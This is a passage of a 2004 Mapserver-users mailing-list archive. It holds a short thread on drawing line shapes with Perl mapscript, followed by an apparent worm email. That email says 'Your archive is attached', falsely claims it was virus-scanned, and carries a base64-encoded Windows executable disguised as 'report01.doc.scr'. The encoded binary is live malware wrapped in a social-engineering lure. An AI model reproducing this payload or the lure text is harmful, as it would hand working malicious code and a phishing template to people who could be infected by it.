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 mEICfpcAAAAASUVORK5CYII= --------------000008090409020702090109-- From jeff at propertykey.com Mon Mar 29 13:24:33 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Mon, 29 Mar 2004 15:24:33 -0600 Subject: [Mapserver-users] drawing lines with mapscript Message-ID: <40689411.2070101@propertykey.com> I'm trying to create lines programmatically & draw them using mapscript, but I just can't seem to get any output. It doesn't throw any errors, but I don't see any output, either. I've done it before with points & rectangles, but it looks like lines don't have a draw function defined for them the way points & rectangles do so I'm trying to turn the lineObj into a shapeObj and draw that. The line that I'm adding to the shape has points with reasonable coordinates so I'm assuming that's not the problem. I don't know if I'm doing the class stuff right, though, but I can't find much documentation on how that works when drawing a shape. Can someone give me an example of how to do this? Here's basically what I've been trying to do: $layer = $map->getLayerByName('line_layer'); $layer->{status} = 1; $class = $layer->getClass(0); $class->setText($layer,"LINE"); my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); $shape->add($line); $shape->draw($map, $layer, $img); Here's the layer definition: LAYER NAME line_layer STATUS OFF PROJECTION "init=epsg:26958" END TYPE LINE CLASS LABEL ANGLE AUTO FONT arial TYPE TRUETYPE POSITION UC SIZE 7 COLOR 0 0 0 END COLOR 0 0 0 END END -- Jeff Hoffmann PropertyKey.com From eric at gomoos.org Mon Mar 29 14:13:13 2004 From: eric at gomoos.org (Eric Bridger) Date: 29 Mar 2004 17:13:13 -0500 Subject: [Mapserver-users] drawing lines with mapscript In-Reply-To: <40689411.2070101@propertykey.com> References: <40689411.2070101@propertykey.com> Message-ID: <1080598399.1856.21.camel@ubet.gomoos.org> On Mon, 2004-03-29 at 16:24, Jeff Hoffmann wrote: > I'm trying to create lines programmatically & draw them using mapscript, > but I just can't seem to get any output. It doesn't throw any errors, > but I don't see any output, either. > $layer = $map->getLayerByName('line_layer'); > $layer->{status} = 1; > $class = $layer->getClass(0); > $class->setText($layer,"LINE"); > my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); > $shape->add($line); Just a guess, but you could try $shape->setBounds() here. > $shape->draw($map, $layer, $img); From thowlett at whistlermuseum.org Mon Mar 29 16:43:07 2004 From: thowlett at whistlermuseum.org (thowlett at whistlermuseum.org) Date: Tue, 30 Mar 2004 07:43:07 +0700 Subject: [Mapserver-users] News Message-ID: <200403300043.i2U0hZEe028965@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your archive is attached. +++ Attachment: No Virus found +++ Kaspersky AntiVirus - www.kaspersky.com ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="report01.doc.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="report01.doc.scr" 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 